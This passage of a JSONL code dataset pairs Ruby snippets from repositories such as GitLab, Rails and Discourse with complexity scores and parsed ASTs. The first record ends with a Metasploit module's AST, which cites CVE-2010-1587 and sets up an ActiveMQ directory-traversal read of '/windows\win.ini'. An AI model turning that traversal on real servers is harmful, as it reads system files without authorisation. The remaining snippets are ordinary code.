vazquez\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2010-1587\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"OSVDB\"]},{\"type\":\"str\",\"children\":[\"86401\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"http://www.verisigninc.com/en_US/products-and-services/network-intelligence-availability/idefense/public-vulnerability-reports/articles/index.xhtml?id=895\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://issues.apache.org/jira/browse/amq-2788\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_RELIABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_STABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_SIDE_EFFECTS\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Opt\"]},\"RPORT\",{\"type\":\"int\",\"children\":[8161]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"FILEPATH\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The name of the file to download\"]},{\"type\":\"str\",\"children\":[\"/windows\\\\win.ini\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptInt\"]},\"new\",{\"type\":\"str\",\"children\":[\"DEPTH\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Traversal depth if absolute is set to false\"]},{\"type\":\"int\",\"children\":[4]}]}]}]}]}]}]}","id":"b2a83732-6e92-4b38-9f4e-1325e7e8273e"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/concerns/reactive_caching.rb","start_line":114,"raw_source":"def reactive_set_cache\n      Gitlab::ReactiveCacheSetCache.new(expires_in: reactive_cache_lifetime)\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"reactive_set_cache\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"ReactiveCacheSetCache\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"expires_in\"]},{\"type\":\"send\",\"children\":[null,\"reactive_cache_lifetime\"]}]}]}]}]}","id":"c467a82f-734c-41c2-bdbf-17fea7fd25a4"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/post/meterpreter/extensions/stdapi/net/resolve.rb","start_line":73,"raw_source":"def raw_to_host_ip_pair(host, raw)\n    if raw.nil? or host.nil?\n      return nil\n    end\n\n    ip = nil\n    if raw.length == 4 || raw.length == 16\n      ip = Rex::Socket.addr_ntoa(raw)\n    elsif raw.length != 0\n      wlog(\"hostname resolution failed, the returned address is corrupt (hostname: #{host}, length: #{raw.length})\")\n    end\n\n    result = { :hostname => host, :ip => ip }\n\n    return result\n  end","complexity_score":21.95,"ast_json":"{\"type\":\"def\",\"children\":[\"raw_to_host_ip_pair\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"host\"]},{\"type\":\"arg\",\"children\":[\"raw\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"raw\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"host\"]},\"nil?\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"ip\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"raw\"]},\"length\"]},\"==\",{\"type\":\"int\",\"children\":[4]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"raw\"]},\"length\"]},\"==\",{\"type\":\"int\",\"children\":[16]}]}]},{\"type\":\"lvasgn\",\"children\":[\"ip\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Socket\"]},\"addr_ntoa\",{\"type\":\"lvar\",\"children\":[\"raw\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"raw\"]},\"length\"]},\"!=\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[null,\"wlog\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"hostname resolution failed, the returned address is corrupt (hostname: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"host\"]}]},{\"type\":\"str\",\"children\":[\", length: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"raw\"]},\"length\"]}]},{\"type\":\"str\",\"children\":[\")\"]}]}]},null]}]},{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"hostname\"]},{\"type\":\"lvar\",\"children\":[\"host\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ip\"]},{\"type\":\"lvar\",\"children\":[\"ip\"]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]}]}]}]}","id":"f54c704c-88c2-433b-a4a1-8489f7014611"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/ci/build_report_result_service.rb","start_line":24,"raw_source":"def generate_test_suite_report(build)\n      test_report = build.collect_test_reports!(Gitlab::Ci::Reports::TestReport.new)\n      test_report.get_suite(build.test_suite_name)\n    end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"generate_test_suite_report\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"build\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"test_report\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"build\"]},\"collect_test_reports!\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Ci\"]},\"Reports\"]},\"TestReport\"]},\"new\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"test_report\"]},\"get_suite\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"build\"]},\"test_suite_name\"]}]}]}]}","id":"916e5dc4-732a-4eb9-b6ab-674d896792f5"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/integrations/drone_ci.rb","start_line":32,"raw_source":"def execute(data)\n      return unless project\n\n      case data[:object_kind]\n      when 'push'\n        execute_web_hook!(data) if push_valid?(data)\n      when 'merge_request'\n        execute_web_hook!(data) if merge_request_valid?(data)\n      when 'tag_push'\n        execute_web_hook!(data) if tag_push_valid?(data)\n      end\n    end","complexity_score":18.4,"ast_json":"{\"type\":\"def\",\"children\":[\"execute\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"data\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"object_kind\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"push\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"push_valid?\",{\"type\":\"lvar\",\"children\":[\"data\"]}]},{\"type\":\"send\",\"children\":[null,\"execute_web_hook!\",{\"type\":\"lvar\",\"children\":[\"data\"]}]},null]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"merge_request\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"merge_request_valid?\",{\"type\":\"lvar\",\"children\":[\"data\"]}]},{\"type\":\"send\",\"children\":[null,\"execute_web_hook!\",{\"type\":\"lvar\",\"children\":[\"data\"]}]},null]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"tag_push\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"tag_push_valid?\",{\"type\":\"lvar\",\"children\":[\"data\"]}]},{\"type\":\"send\",\"children\":[null,\"execute_web_hook!\",{\"type\":\"lvar\",\"children\":[\"data\"]}]},null]}]},null]}]}]}","id":"6f937529-be4f-49d3-bf04-ac4a207b7db2"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/queries/work_packages/filter/assignee_or_group_filter.rb","start_line":61,"raw_source":"def group_members_added(vals)\n    User\n      .joins(:groups)\n      .where(groups_users: { id: vals })\n      .pluck(:id)\n      .map(&:to_s)\n  end","complexity_score":6.4,"ast_json":"{\"type\":\"def\",\"children\":[\"group_members_added\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"vals\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"joins\",{\"type\":\"sym\",\"children\":[\"groups\"]}]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"groups_users\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"lvar\",\"children\":[\"vals\"]}]}]}]}]}]},\"pluck\",{\"type\":\"sym\",\"children\":[\"id\"]}]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"to_s\"]}]}]}]}","id":"ed7c7418-aee6-4e83-916a-f7433111cf40"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/shard_keys_test.rb","start_line":21,"raw_source":"def setup\n      ActiveRecord::Base.instance_variable_set(:@shard_keys, nil)\n      @previous_env, ENV[\"RAILS_ENV\"] = ENV[\"RAILS_ENV\"], \"default_env\"\n\n      config = {\n        \"default_env\" => {\n          \"primary\" => {\n            adapter: \"sqlite3\",\n            database: \":memory:\"\n          },\n          \"shard_one\" => {\n            adapter: \"sqlite3\",\n            database: \":memory:\"\n          },\n          \"shard_one_reading\" => {\n            adapter: \"sqlite3\",\n            database: \":memory:\"\n          },\n          \"shard_two\" => {\n            adapter: \"sqlite3\",\n            database: \":memory:\"\n          },\n          \"shard_two_reading\" => {\n            adapter: \"sqlite3\",\n            database: \":memory:\"\n          },\n        }\n      }\n\n      @prev_configs, ActiveRecord::Base.configurations = ActiveRecord::Base.configurations, config\n\n      UnshardedBase.connects_to database: { writing: :primary }\n\n      ShardedBase.connects_to shards: {\n        shard_one: { writing: :shard_one, reading: :shard_one_reading },\n        shard_two: { writing: :shard_two, reading: :shard_two_reading },\n      }\n    end","complexity_score":12.0,"ast_json":"{\"type\":\"def\",\"children\":[\"setup\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]},\"instance_variable_set\",{\"type\":\"sym\",\"children\":[\"@shard_keys\"]},{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@previous_env\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"RAILS_ENV\"]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"[]\",{\"type\":\"str\",\"children\":[\"RAILS_ENV\"]}]},{\"type\":\"str\",\"children\":[\"default_env\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"config\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"default_env\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"primary\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"adapter\"]},{\"type\":\"str\",\"children\":[\"sqlite3\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"database\"]},{\"type\":\"str\",\"children\":[\":memory:\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"shard_one\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"adapter\"]},{\"type\":\"str\",\"children\":[\"sqlite3\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"database\"]},{\"type\":\"str\",\"children\":[\":memory:\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"shard_one_reading\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"adapter\"]},{\"type\":\"str\",\"children\":[\"sqlite3\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"database\"]},{\"type\":\"str\",\"children\":[\":memory:\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"shard_two\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"adapter\"]},{\"type\":\"str\",\"children\":[\"sqlite3\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"database\"]},{\"type\":\"str\",\"children\":[\":memory:\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"shard_two_reading\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"adapter\"]},{\"type\":\"str\",\"children\":[\"sqlite3\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"database\"]},{\"type\":\"str\",\"children\":[\":memory:\"]}]}]}]}]}]}]}]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@prev_configs\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]},\"configurations=\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]},\"configurations\"]},{\"type\":\"lvar\",\"children\":[\"config\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UnshardedBase\"]},\"connects_to\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"database\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"writing\"]},{\"type\":\"sym\",\"children\":[\"primary\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ShardedBase\"]},\"connects_to\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"shards\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"shard_one\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"writing\"]},{\"type\":\"sym\",\"children\":[\"shard_one\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"reading\"]},{\"type\":\"sym\",\"children\":[\"shard_one_reading\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"shard_two\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"writing\"]},{\"type\":\"sym\",\"children\":[\"shard_two\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"reading\"]},{\"type\":\"sym\",\"children\":[\"shard_two_reading\"]}]}]}]}]}]}]}]}]}]}","id":"65b6bfd6-66af-4741-8bf8-f5b09025f95a"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-ai/app/services/discourse_ai/topic_summarization.rb","start_line":10,"raw_source":"def initialize(summarizer, user)\n      @summarizer = summarizer\n      @user = user\n    end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"summarizer\"]},{\"type\":\"arg\",\"children\":[\"user\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@summarizer\",{\"type\":\"lvar\",\"children\":[\"summarizer\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@user\",{\"type\":\"lvar\",\"children\":[\"user\"]}]}]}]}","id":"b9ec57ed-4bed-4a26-9689-bd2a840bed3e"}
{"repo_name":"spree","file_path":"./repos/spree/core/app/helpers/spree/integrations_helper.rb","start_line":7,"raw_source":"def store_integration(name)\n      store_integrations.find { |integration| integration.type.to_s.demodulize.underscore == name }\n    end","complexity_score":10.7,"ast_json":"{\"type\":\"def\",\"children\":[\"store_integration\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"store_integrations\"]},\"find\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"integration\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"integration\"]},\"type\"]},\"to_s\"]},\"demodulize\"]},\"underscore\"]},\"==\",{\"type\":\"lvar\",\"children\":[\"name\"]}]}]}]}","id":"633de680-db70-4f62-a57a-abc397729a13"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/memory/reports_uploader.rb","start_line":30,"raw_source":"def log_upload_requested(path)\n        logger.info(log_labels.merge(perf_report_status: 'upload requested', perf_report_path: path))\n      end","complexity_score":4.8,"ast_json":"{\"type\":\"def\",\"children\":[\"log_upload_requested\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"path\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"logger\"]},\"info\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"log_labels\"]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"perf_report_status\"]},{\"type\":\"str\",\"children\":[\"upload requested\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"perf_report_path\"]},{\"type\":\"lvar\",\"children\":[\"path\"]}]}]}]}]}]}","id":"2bf80820-b5f8-41c2-8102-ecd642a93ba7"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/enterprise/app/controllers/enterprise/devise_overrides/omniauth_callbacks_controller.rb","start_line":35,"raw_source":"def omniauth_failure\n    return super unless params[:provider] == 'saml'\n\n    relay_state = saml_relay_state\n    error = params[:message] || 'authentication-failed'\n\n    if for_mobile?(relay_state)\n      redirect_to_mobile_error(error, relay_state)\n    else\n      redirect_to login_page_url(error: \"saml-#{error}\")\n    end\n  end","complexity_score":16.5,"ast_json":"{\"type\":\"def\",\"children\":[\"omniauth_failure\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"provider\"]}]},\"==\",{\"type\":\"str\",\"children\":[\"saml\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"zsuper\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"relay_state\",{\"type\":\"send\",\"children\":[null,\"saml_relay_state\"]}]},{\"type\":\"lvasgn\",\"children\":[\"error\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"message\"]}]},{\"type\":\"str\",\"children\":[\"authentication-failed\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"for_mobile?\",{\"type\":\"lvar\",\"children\":[\"relay_state\"]}]},{\"type\":\"send\",\"children\":[null,\"redirect_to_mobile_error\",{\"type\":\"lvar\",\"children\":[\"error\"]},{\"type\":\"lvar\",\"children\":[\"relay_state\"]}]},{\"type\":\"send\",\"children\":[null,\"redirect_to\",{\"type\":\"send\",\"children\":[null,\"login_page_url\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"error\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"saml-\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"error\"]}]}]}]}]}]}]}]}]}]}","id":"0d787fe1-b3d9-4263-896e-9584d97cafc9"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/lib/ruby_parser/bm_sexp.rb","start_line":146,"raw_source":"def target= exp\n    expect :call, :attrasgn, :safe_call, :safe_attrasgn\n    @my_hash_value = nil\n    self[1] = exp\n  end","complexity_score":3.25,"ast_json":"{\"type\":\"def\",\"children\":[\"target=\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"exp\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"sym\",\"children\":[\"call\"]},{\"type\":\"sym\",\"children\":[\"attrasgn\"]},{\"type\":\"sym\",\"children\":[\"safe_call\"]},{\"type\":\"sym\",\"children\":[\"safe_attrasgn\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@my_hash_value\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"[]=\",{\"type\":\"int\",\"children\":[1]},{\"type\":\"lvar\",\"children\":[\"exp\"]}]}]}]}","id":"af437b82-6779-4f4c-9661-57d202eb8310"}
{"repo_name":"sinatra","file_path":"./repos/sinatra/test/extensions_test.rb","start_line":45,"raw_source":"Sinatra::Base.register { def im_in_ur_anonymous_module; end }","complexity_score":2.0,"ast_json":"{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Sinatra\"]},\"Base\"]},\"register\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"def\",\"children\":[\"im_in_ur_anonymous_module\",{\"type\":\"args\",\"children\":[]},null]}]}","id":"6bd91129-e012-4623-9c3a-847826b33cbf"}
{"repo_name":"openproject","file_path":"./repos/openproject/spec/support/table_helpers/identifier.rb","start_line":35,"raw_source":"def to_identifier(name)\n      return if name.nil?\n\n      name = name.downcase\n      name.strip!\n      name.tr!(' \\-', \"_\")\n      name.gsub!(/_+(?=\\d)/, \"\")\n      name.to_sym\n    end","complexity_score":8.0,"ast_json":"{\"type\":\"def\",\"children\":[\"to_identifier\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]},\"nil?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"name\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]},\"downcase\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]},\"strip!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]},\"tr!\",{\"type\":\"str\",\"children\":[\" \\\\-\"]},{\"type\":\"str\",\"children\":[\"_\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]},\"gsub!\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"_+(?=\\\\d)\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]},\"to_sym\"]}]}]}","id":"bfa8ccec-34e5-40f9-8336-1bbcbf6db68a"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/background_migration/remote_development/workspace_operations/create/desired_config/bm_devfile_resource_modifier.rb","start_line":104,"raw_source":"def self.set_security_context(\n                desired_config_array:,\n                allow_privilege_escalation:\n              )\n                pod_security_context = {\n                  runAsNonRoot: true,\n                  runAsUser: RUN_AS_USER,\n                  fsGroup: 0,\n                  fsGroupChangePolicy: 'OnRootMismatch'\n                }\n                container_security_context = {\n                  allowPrivilegeEscalation: allow_privilege_escalation,\n                  privileged: false,\n                  runAsNonRoot: true,\n                  runAsUser: RUN_AS_USER\n                }\n\n                pod_spec = find_pod_spec(desired_config_array)\n                # Explicitly set security context for the pod\n                pod_spec[:securityContext] = pod_security_context\n                # Explicitly set security context for all containers\n                pod_spec[:containers].each do |container|\n                  container[:securityContext] = container_security_context\n                end\n                # Explicitly set security context for all init containers\n                pod_spec[:initContainers].each do |init_container|\n                  init_container[:securityContext] = container_security_context\n                end\n\n                nil\n              end","complexity_score":13.6,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"set_security_context\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"desired_config_array\"]},{\"type\":\"kwarg\",\"children\":[\"allow_privilege_escalation\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"pod_security_context\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"runAsNonRoot\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"runAsUser\"]},{\"type\":\"const\",\"children\":[null,\"RUN_AS_USER\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"fsGroup\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"fsGroupChangePolicy\"]},{\"type\":\"str\",\"children\":[\"OnRootMismatch\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"container_security_context\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"allowPrivilegeEscalation\"]},{\"type\":\"lvar\",\"children\":[\"allow_privilege_escalation\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"privileged\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"runAsNonRoot\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"runAsUser\"]},{\"type\":\"const\",\"children\":[null,\"RUN_AS_USER\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"pod_spec\",{\"type\":\"send\",\"children\":[null,\"find_pod_spec\",{\"type\":\"lvar\",\"children\":[\"desired_config_array\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pod_spec\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"securityContext\"]},{\"type\":\"lvar\",\"children\":[\"pod_security_context\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pod_spec\"]},\"[]\",{\"type\":\"sym\